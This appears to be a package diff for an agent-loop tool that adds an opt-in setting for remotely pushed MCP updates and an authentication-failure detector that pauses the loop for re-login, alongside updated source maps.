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"}
|
|
@@ -32,6 +32,14 @@ export interface AutodevSettings {
|
|
|
32
32
|
rdpGuacWsUrl: string;
|
|
33
33
|
enableFileBrowser: boolean;
|
|
34
34
|
gitEnabled: boolean;
|
|
35
|
+
/**
|
|
36
|
+
* Opt-in: honor `mcp_update` frames pushed over the WS channel. When false
|
|
37
|
+
* (default), inbound mcp_update frames are ignored. Writing remote-supplied
|
|
38
|
+
* MCP server config spawns stdio child processes on restart, so this is a
|
|
39
|
+
* code-execution surface and must be explicitly enabled (mirrors
|
|
40
|
+
* enableFileBrowser / gitEnabled). Even when enabled, entries are validated.
|
|
41
|
+
*/
|
|
42
|
+
mcpUpdateEnabled: boolean;
|
|
35
43
|
hooksEnabled: boolean;
|
|
36
44
|
hooksScope: 'project' | 'global';
|
|
37
45
|
openCodeHooksEnabled: boolean;
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"settingsLoader.js","sourceRoot":"","sources":["../../src/core/settingsLoader.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
1
|
+
{"version":3,"file":"settingsLoader.js","sourceRoot":"","sources":["../../src/core/settingsLoader.ts"],"names":[],"mappings":"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"}
|
package/out/rateLimit.d.ts
CHANGED
|
@@ -3,6 +3,22 @@ export declare class RateLimitError extends Error {
|
|
|
3
3
|
readonly resetAt: Date | undefined;
|
|
4
4
|
constructor(rawMessage: string, resetAt: Date | undefined);
|
|
5
5
|
}
|
|
6
|
+
/**
|
|
7
|
+
* Raised when the provider CLI reports it is logged out / unauthenticated /
|
|
8
|
+
* out of credit — a state the loop must NOT treat as task failure. Unlike a
|
|
9
|
+
* rate limit there is no reset time: the loop pauses indefinitely and asks the
|
|
10
|
+
* operator to re-authenticate.
|
|
11
|
+
*/
|
|
12
|
+
export declare class AuthError extends Error {
|
|
13
|
+
readonly rawMessage: string;
|
|
14
|
+
constructor(rawMessage: string);
|
|
15
|
+
}
|
|
16
|
+
export declare class AuthDetector {
|
|
17
|
+
/** True when text contains any known auth-failure phrase. */
|
|
18
|
+
static matches(text: string): boolean;
|
|
19
|
+
/** Build an AuthError from text, or null when text is not an auth failure. */
|
|
20
|
+
static detect(text: string): AuthError | null;
|
|
21
|
+
}
|
|
6
22
|
export declare class RateLimitDetector {
|
|
7
23
|
/** True when text contains any known rate-limit phrase. */
|
|
8
24
|
static matches(text: string): boolean;
|
package/out/rateLimit.js
CHANGED
|
@@ -5,7 +5,7 @@
|
|
|
5
5
|
// (RateLimitDetector.PHRASES) and every call site picks it up.
|
|
6
6
|
// ---------------------------------------------------------------------------
|
|
7
7
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
8
|
-
exports.RateLimitDetector = exports.RateLimitError = void 0;
|
|
8
|
+
exports.RateLimitDetector = exports.AuthDetector = exports.AuthError = exports.RateLimitError = void 0;
|
|
9
9
|
class RateLimitError extends Error {
|
|
10
10
|
rawMessage;
|
|
11
11
|
resetAt;
|
|
@@ -36,6 +36,54 @@ const PHRASES = [
|
|
|
36
36
|
/api error[^\n]{0,120}rate limit/i, // "API Error: 429 ... rate limit(ed)"
|
|
37
37
|
/·\s*rate limited/i, // "... · Rate limited" suffix banner
|
|
38
38
|
];
|
|
39
|
+
/**
|
|
40
|
+
* Raised when the provider CLI reports it is logged out / unauthenticated /
|
|
41
|
+
* out of credit — a state the loop must NOT treat as task failure. Unlike a
|
|
42
|
+
* rate limit there is no reset time: the loop pauses indefinitely and asks the
|
|
43
|
+
* operator to re-authenticate.
|
|
44
|
+
*/
|
|
45
|
+
class AuthError extends Error {
|
|
46
|
+
rawMessage;
|
|
47
|
+
constructor(rawMessage) {
|
|
48
|
+
super(rawMessage);
|
|
49
|
+
this.rawMessage = rawMessage;
|
|
50
|
+
this.name = 'AuthError';
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
exports.AuthError = AuthError;
|
|
54
|
+
/**
|
|
55
|
+
* Phrases that mean "the CLI is not authenticated / out of credit". These are
|
|
56
|
+
* high-signal provider error strings (invalid key, expired/revoked token,
|
|
57
|
+
* /login prompt, low balance) that never appear in ordinary assistant prose,
|
|
58
|
+
* so they are safe to match case-insensitively across the captured output.
|
|
59
|
+
*/
|
|
60
|
+
const AUTH_PHRASES = [
|
|
61
|
+
/invalid api key/i, // Claude: "Invalid API key · Please run /login"
|
|
62
|
+
/credit balance is too low/i, // Anthropic out-of-credit banner
|
|
63
|
+
/please run\s+\/login/i, // explicit re-login instruction
|
|
64
|
+
/oauth token[^\n]{0,60}(expired|revoked|invalid)/i, // token lifecycle failure
|
|
65
|
+
/authentication_error/i, // Anthropic API error type
|
|
66
|
+
// "not logged in / authenticated" only when paired with a re-auth instruction
|
|
67
|
+
// (a bare mention appears in ordinary code the agent writes).
|
|
68
|
+
/not (logged in|authenticated)[^\n]{0,40}(log ?in|authenticate|run|sign in|\/login)/i,
|
|
69
|
+
];
|
|
70
|
+
class AuthDetector {
|
|
71
|
+
/** True when text contains any known auth-failure phrase. */
|
|
72
|
+
static matches(text) {
|
|
73
|
+
if (!text) {
|
|
74
|
+
return false;
|
|
75
|
+
}
|
|
76
|
+
return AUTH_PHRASES.some(p => p.test(text));
|
|
77
|
+
}
|
|
78
|
+
/** Build an AuthError from text, or null when text is not an auth failure. */
|
|
79
|
+
static detect(text) {
|
|
80
|
+
if (!AuthDetector.matches(text)) {
|
|
81
|
+
return null;
|
|
82
|
+
}
|
|
83
|
+
return new AuthError((text ?? '').trim() || 'Authentication required');
|
|
84
|
+
}
|
|
85
|
+
}
|
|
86
|
+
exports.AuthDetector = AuthDetector;
|
|
39
87
|
class RateLimitDetector {
|
|
40
88
|
/** True when text contains any known rate-limit phrase. */
|
|
41
89
|
static matches(text) {
|
package/out/rateLimit.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"rateLimit.js","sourceRoot":"","sources":["../src/rateLimit.ts"],"names":[],"mappings":";AAAA,8EAA8E;AAC9E,2EAA2E;AAC3E,uEAAuE;AACvE,+DAA+D;AAC/D,8EAA8E;;;AAE9E,MAAa,cAAe,SAAQ,KAAK;IAClB;IAA6B;IAAlD,YAAqB,UAAkB,EAAW,OAAyB;QACzE,KAAK,CAAC,UAAU,CAAC,CAAC;QADC,eAAU,GAAV,UAAU,CAAQ;QAAW,YAAO,GAAP,OAAO,CAAkB;QAEzE,IAAI,CAAC,IAAI,GAAG,gBAAgB,CAAC;IAC/B,CAAC;CACF;AALD,wCAKC;AAED;;;;;GAKG;AACH,MAAM,OAAO,GAA0B;IACrC,6EAA6E;IAC7E,mDAAmD;IACnD,iBAAiB,EAAiB,sDAAsD;IACxF,qBAAqB,EAAa,6DAA6D;IAC/F,sBAAsB;IACtB,6EAA6E;IAC7E,+EAA+E;IAC/E,4EAA4E;IAC5E,mCAAmC;IACnC,kCAAkC,EAAI,sCAAsC;IAC5E,mBAAmB,EAAmB,qCAAqC;CAC5E,CAAC;AAEF,MAAa,iBAAiB;IAC5B,2DAA2D;IAC3D,MAAM,CAAC,OAAO,CAAC,IAAY;QACzB,IAAI,CAAC,IAAI,EAAE,CAAC;YAAC,OAAO,KAAK,CAAC;QAAC,CAAC;QAC5B,OAAO,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC;IACzC,CAAC;IAED,2EAA2E;IAC3E,MAAM,CAAC,OAAO,CAAC,IAAY;QACzB,MAAM,OAAO,GAAG,CAAC,IAAI,IAAI,EAAE,CAAC,CAAC,IAAI,EAAE,CAAC;QACpC,OAAO,IAAI,cAAc,CAAC,OAAO,IAAI,cAAc,EAAE,iBAAiB,CAAC,cAAc,CAAC,OAAO,CAAC,CAAC,CAAC;IAClG,CAAC;IAED,6EAA6E;IAC7E,MAAM,CAAC,MAAM,CAAC,IAAY;QACxB,OAAO,iBAAiB,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,iBAAiB,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC;IAClF,CAAC;IAED;;;OAGG;IACH,MAAM,CAAC,cAAc,CAAC,IAAY;QAChC,MAAM,CAAC,GAAG,IAAI,CAAC,KAAK,CAAC,0DAA0D,CAAC,CAAC;QACjF,IAAI,CAAC,CAAC,EAAE,CAAC;YAAC,OAAO,SAAS,CAAC;QAAC,CAAC;QAC7B,IAAI,CAAC;YACH,IAAI,IAAI,GAAG,QAAQ,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;YAC1B,MAAM,GAAG,GAAG,QAAQ,CAAC,CAAC,CAAC,CAAC,CAAC,IAAI,GAAG,CAAC,CAAC;YAClC,MAAM,IAAI,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,WAAW,EAAE,KAAK,IAAI,CAAC;YACzC,MAAM,EAAE,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;YAChB,IAAI,IAAI,IAAI,IAAI,KAAK,EAAE,EAAE,CAAC;gBAAC,IAAI,IAAI,EAAE,CAAC;YAAC,CAAC;YACxC,IAAI,CAAC,IAAI,IAAI,IAAI,KAAK,EAAE,EAAE,CAAC;gBAAC,IAAI,GAAG,CAAC,CAAC;YAAC,CAAC;YACvC,MAAM,GAAG,GAAG,IAAI,IAAI,EAAE,CAAC;YACvB,MAAM,OAAO,GAAG,IAAI,IAAI,CAAC,cAAc,CAAC,IAAI,EAAE,EAAE,QAAQ,EAAE,EAAE,EAAE,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC,CAAC;YAC5E,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,IAAI,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC;gBAC5B,MAAM,IAAI,GAAG,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,GAAG,CAAC,GAAG,UAAU,GAAG,IAAI,GAAG,SAAS,GAAG,GAAG,GAAG,MAAM,CAAC;gBACpF,MAAM,SAAS,GAAG,IAAI,IAAI,CAAC,IAAI,CAAC,CAAC;gBACjC,MAAM,IAAI,GAAG,IAAI,IAAI,CAAC,SAAS,CAAC,cAAc,CAAC,OAAO,EAAE,EAAE,QAAQ,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC;gBAC3E,MAAM,MAAM,GAAG,SAAS,CAAC,OAAO,EAAE,GAAG,IAAI,CAAC,OAAO,EAAE,CAAC;gBACpD,MAAM,QAAQ,GAAG,IAAI,IAAI,CAAC,IAAI,GAAG,MAAM,CAAC,CAAC;gBACzC,IAAI,QAAQ,GAAG,GAAG,EAAE,CAAC;oBAAC,OAAO,QAAQ,CAAC;gBAAC,CAAC;YAC1C,CAAC;YACD,OAAO,SAAS,CAAC;QACnB,CAAC;QAAC,MAAM,CAAC;YAAC,OAAO,SAAS,CAAC;QAAC,CAAC;IAC/B,CAAC;CACF;AA7CD,8CA6CC"}
|
|
1
|
+
{"version":3,"file":"rateLimit.js","sourceRoot":"","sources":["../src/rateLimit.ts"],"names":[],"mappings":"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"}
|
